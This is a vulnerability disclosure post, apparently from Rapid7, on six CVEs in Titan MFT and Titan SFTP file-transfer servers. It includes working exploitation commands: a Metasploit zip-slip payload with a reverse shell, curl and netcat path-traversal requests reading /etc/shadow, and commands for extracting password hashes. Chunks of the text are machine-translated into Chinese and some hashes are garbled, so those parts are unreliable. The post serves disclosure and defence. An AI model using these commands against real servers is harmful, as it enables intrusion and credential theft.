Last updated at Wed, 27 Dec 2023 14:37:41 GMT

As part of our continuing research project into managed file transfer risk, including JSCAPE MFT and Fortra Globalscape EFT Server, Rapid7 discovered several vulnerabilities in South River Technologies’ Titan MFT and Titan SFTP servers. Although these require unusual circumstances or non-default configurations, as well as a valid user login, 利用的后果可能导致远程超级用户访问受影响的主机.


Titan MFT and Titan SFTP are business-grade Managed File Transfer (MFT) servers that provide enterprise-class, high-availability failover and clustering. They are very similar products with a similar code base, although Titan MFT has some extra features such as WebDAV.

We confirmed that these issues affect Titan MFT and Titan SFTP versions and (earlier versions are also affected, per the vendor). All issues listed below affect the Linux version, 有些还会影响Windows版本(我们会注意哪些平台受到哪些问题的影响).


These issues were discovered by Ron Bowes of Rapid7. They are being disclosed in accordance with Rapid7’s vulnerability disclosure policy.

Vendor Statement

South River Technologies is committed to security, and we collaborate with valued researchers, such as Rapid7, to respond to and resolve vulnerabilities on behalf of our customers.


Successful exploitation of several of these issues grants an attacker remote code execution as the root or SYSTEM user; however, 所有问题都是在身份验证后出现的,需要非默认配置,因此不太可能出现大规模利用.


CVE-2023-45685: Authenticated Remote Code Execution via "zip slip"

Titan MFT and Titan SFTP have a feature where .Zip文件可以在通过任何支持的协议上传时自动提取. Files within the .zip archive are not validated for path traversal characters; as a result, an authenticated attacker can upload a .zip file containing a filename such as ../../file, which will be extracted outside the user's home directory. This affects both Linux and Windows servers, but we will use Linux as an example of how this might be exploited.

If an attacker can write a file to anywhere on a Linux file system, 他们可以利用它以几种不同的方式获得对目标主机的远程访问:

  • Overwrite /root/.ssh/authorized_keys with an attacker's SSH key, allowing them to log in to an interactive session
  • Upload a script to /etc/cron.hourly that will execute code at some point in the future
  • Upload a script to /etc/profile.d that will execute next time a user logs in to the Linux host
  • Overwrite a system binary (such as /bin/bash) with a backdoored version

This vulnerability is mitigated in two different ways:

  1. This is a non-default feature, so an administrator would have had to configure it before a server is vulnerable
  2. Exploitation requires a user to have an account with permission to upload files


A so-called "zip slip" is a common class of vulnerability, 并且可以使用Metasploit模块创建一个示例文件(注意,这是一个通用模块,它写入包含可执行负载的ELF文件):

msf6 > use exploit/multi/fileformat/zip_slip
[*] No payload configured, defaulting to linux/x86/meterpreter/reverse_tcp

msf6 exploit(multi/fileformat/zip_slip) > set FTYPE zip
FTYPE => zip

msf6 exploit(multi/fileformat/zip_slip) > set FILENAME

msf6 exploit(multi/fileformat/zip_slip) > show options

msf6 exploit(multi/fileformat/zip_slip) > set TARGETPAYLOADPATH ../../../../../../../root/testzipslip
TARGETPAYLOADPATH => ../../../../../../../root/testzipslip

msf6 exploit(multi/fileformat/zip_slip) > exploit

[+] stored at /home/ron/.msf4/local/
[*] When extracted, the payload is expected to extract to:
[*] ../../../../../../../root/testzipslip

然后用用户可以访问的任何协议(HTTP, FTP, WebDAV, SFTP)上传:

$ ncftp -u 'testuser' -p 'b'
NcFTP 3.2.5 (Feb 02, 2011) by Mike Gleason (
Connecting to                                                                                          
TitanMFT Ready.
Logging in...                                                                                                       
Welcome testuser from You are now logged in to the server.
Logged in to                                                                                             
ncftp / > put ~/.msf4/local/
/home/ron/.msf4/local/                        331.00 B    7.92 kB/s  

And verify that it extracts outside of the user's home directory:

$ ssh root@ ls /root

Note that the payload generated by Metasploit is an ELF file by default; however, using this technique, any file can be uploaded to any location on the file system.

CVE-2023-45686: Authenticated Remote Code Execution via WebDAV Path Traversal

The WebDAV handler does not validate the path specified by the user. That means that the user can write files outside of their home directory by adding ../ characters to the WebDAV URL. 成功的利用允许经过身份验证的攻击者将任意文件写入文件系统上的任何位置, leading to remote code execution.

WebDAV is not enabled by default, so an administrator would have had to enable WebDAV for a target to be vulnerable. This also doesn't affect Titan SFTP, which doesn't support the WebDAV protocol; additionally, as far as we can tell, this only affects the Linux version of Titan MFT.


The curl utility with the PUT verb can be used to upload a file (note that --path-as-is is required, otherwise curl will normalize the path and remove the ../ portion of the URL):

$ curl -i -X PUT -u testuser:b --data-binary 'hi' --path-as-is
HTTP/1.1 201 Created
Set-Cookie: SRTSessionId=NV7pXyEHw9bdkofCLp3dI5wMq96N7iLD; Path=/; Expires=2023-Sep-25 10:09:14 GMT; HttpOnly
Connection: close
Server: SRT WebDAV Server
Content-Type: text/html; charset=UTF-8
Content-Length: 0
Accept-Ranges: bytes
ETag: "8F434346648F6B96DF89DDA901C5176B10A6D83961DD3C1AC88B59B2DC327AA4"

We can verify the file is written from an SSH session:

$ ssh root@ ls /root/

CVE-2023-45687: Session Fixation on Remote Administration Server

When an administrator authenticates to the remote administration server's API using an Authorization header (HTTP basic or digest authentication) and sets a SRTSession header value to a value known by an attacker (including the literal string null), the session token is granted privileges that the attacker can use. 例如,下面的请求会使字符串"test"变成一个有效的会话令牌:

$ curl -u ron:myfakepassword -ik -H 'Srtsessionid: test' ''

We originally identified this as an authentication bypass, but later realized (from discussing it with the vendor) that the Srtsessionid value must match on the client and server, 而且让管理员设置任意标头的可能性非常低. This affects both the Linux and Windows versions of the software, 尽管Windows的漏洞利用路径与我们下面讨论的Linux路径不同.

If an attacker can 要么窃取会话令牌,要么欺骗管理员授权任意会话令牌, 可以使用管理访问权限将任意文件写入文件系统,步骤如下(在Linux上):

  • Create a new user with an arbitrary home folder (eg, /root/.ssh)
  • Log in to one of the file-upload services, such as FTP, using that account
  • Upload a file, such a authorized_keys

Since the service runs as root, this lets an attacker upload or download any file. 我们实现了一个概念验证,演示了攻击者如何通过滥用管理员级访问在目标系统上实现远程代码执行.

CVE-2023-45688: Information Disclosure via Path Traversal on FTP

The SIZE command on FTP doesn't properly sanitize path traversal characters, which permits an authenticated user to get the size of any file on the file system. This requires an account that can log in via the FTP protocol, and appears to only affect the Linux versions of Titan MFT and Titan SFTP.


You can test this with the netcat utility:

$ nc 21
220 TitanMFT Ready.
USER test 
331 User name okay, need password.
230 Welcome test from You are now logged in to the server.
SIZE ../../../../../../../etc/shadow
213 1050
SIZE ../../../../../../../etc/hostname
213 7
SIZE ../../../../../../../etc/nosuchfile
550 No such file or directory

In that example, the attacker can determine that /etc/shadow is 1050 bytes, /etc/hostname is 7 bytes, and /etc/nosuchfile doesn't exist.

CVE-2023-45689: Information Disclosure via Path Traversal in Admin Interface

Using the MxUtilFileAction 模型中,管理员可以从文件系统的任何位置检索和删除文件 ../ sequences in their path. Both Linux and Windows servers are affected by this issue. 注意,管理员可以使用其他技术完全访问主机的文件系统, so this is a very minor issue.


Note: This requires a valid session id (in the example below, 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB):

$ curl -iks -H 'Content-Type: application/json' -H 'Srtsessionid: 2427A2DD-CBD6-4DA3-B504-0FD0D3473BEB'——data-binary '[{"Model":"MxUtilFileAction","ServerGUID":"db2112ad-0000-0000-0000-100000000001","Action":"l","Data":{"action":"d","fileList":["/var/southriver/srxserver/logs/Local Administration Server/../../../../../etc/shadow"],"domainLogs":true}}]' ''
HTTP/2 200 
content-type: application/x-msdownload
date: Tue, 19 Sep 2023 21:02:07 GMT
content-length: 1155
strict-transport-security: max-age=2592000
content-security-policy: base-uri 'self';
x-frame-options: SAMEORIGIN
x-content-type-options: nosniff
referrer-policy: origin
content-disposition: attachment; filename=shadow; filename*=UTF-8''shadow

根:$ 6 7 ooiic2ayta6p7lg mmvUvQYTSN美元/ E9DBfOOGldok6gd6iP8G7SeR20Va30JYCKPp14gzMhmOUrw3o0t6erwwemssYgjcDGqYI / jOWA0:19619:0:99999:7:::

CVE-2023-45690: Information Leak via World-Readable Database + Logs

Password hashes appear in world-readable files, including databases and log files. 对主机具有访问权限的非root帐户可以使用这些文件将其权限升级为root. Since shell access is required before this can be leveraged, this vulnerability is fairly minor, but we believe that local privilege escalation issues are still important to address.

You can use the strings utility to examine the database file as any user account (they can also be loaded in sqlite3):

ron@titan:~$ strings /var/southriver/srxserver/database/srxdbDB2112AD555500000000100000000001.db | grep -o '"PasswordHash":"[^"]*"'
“PasswordHash”:“5267768822 ee624d48fce15ec5ca79cbd602cb7f4c2157a516556991f22ef8c7b5ef7b18d1ff41c59370efb0858651d44a936c11b7b144c48fe04df3c6a3e8da”
“PasswordHash”:“72 a8d535781681a613d4f8ed06192020afda3b1b6c3c48a392ffab2df033d23f791bb6ccbe3b134b4a721bfe1cfe6cd06581ca74eaaee5343ccd70dc3115f984”
:“PasswordHash 57 e38b3a0621901ec5c64fa1864a5d16e17ce4ddf9cd084e4e72d0eeec2d270353d033c972e5b5c646422b56f7eaa11fd54baac0a19f6a20cc8d93df6063db30”

You can also export logs with journalctl as any user:

ron@titan2:~$ journalctl -u titanmft.service  | grep 'stored hash'
Sep 26 22:28:36 titan2 srxserver[3526]: 2023-09-26 22:28:36 [Info/-/007]根据存储的散列[7632AC9FECE0727899598E82E1601669F76D1D2AB75F33AE6A57D21060E22DB93E9D267155909E7EC5EECA20382A18D5D246A4CCAF64466D16974124BA0EC22F]验证传入用户,结果为True
Sep 26 22:34:02 titan2 srxserver[3526]: 2023-09-26 22:34:02 [Info/-/065]根据存储的散列[1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546fbbbce8c12cfc7957b2652fe9a75]验证传入用户,结果为True
Sep 26 22:34:15 titan2 srxserver[3526]: 2023-09-26 22:34:15 [Info/-/065]根据存储的散列[1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546fbbbce8c12cfc7957b2652fe9a75]验证传入用户,结果为True
Sep 26 22:34:48 titan2 srxserver[3526]: 2023-09-26 22:34:48 [Info/-/061]根据存储的散列[1f40fc92da241694750979ee6cf582f2d5d7d28e18335de05abc54d0560e0f5302860c652bf08d560252aa5e74210546fbbbce8c12cfc7957b2652fe9a75]验证传入用户,结果为True

Mitigation Guidance

根据南河科技的说法,本披露的问题可以通过应用来补救 vendor-supplied patches to upgrade to version 2.0.18 of Titan SFTP or Titan MFT. Additionally, 这些问题可以通过配置Titan SFTP或Titan MFT服务而不是在本地系统帐户下运行,而是使用具有有限特权的特定Windows或Linux用户帐户来缓解.


  • September, 2023 - Rapid7 discovers the vulnerabilities
  • September 28, 2023 - Rapid7 finds a security contact and reports the issues
  • September 28, 2023 - Vendor acknowledges our report
  • September 30, 2023 - Vendor let us know that the majority of the issues are resolved
  • October 11, 2023 - Discussed and agreed on a disclosure date of October 16, 2023
  • 2023年10月16日-此协调披露(包括本博客和所有供应商工件)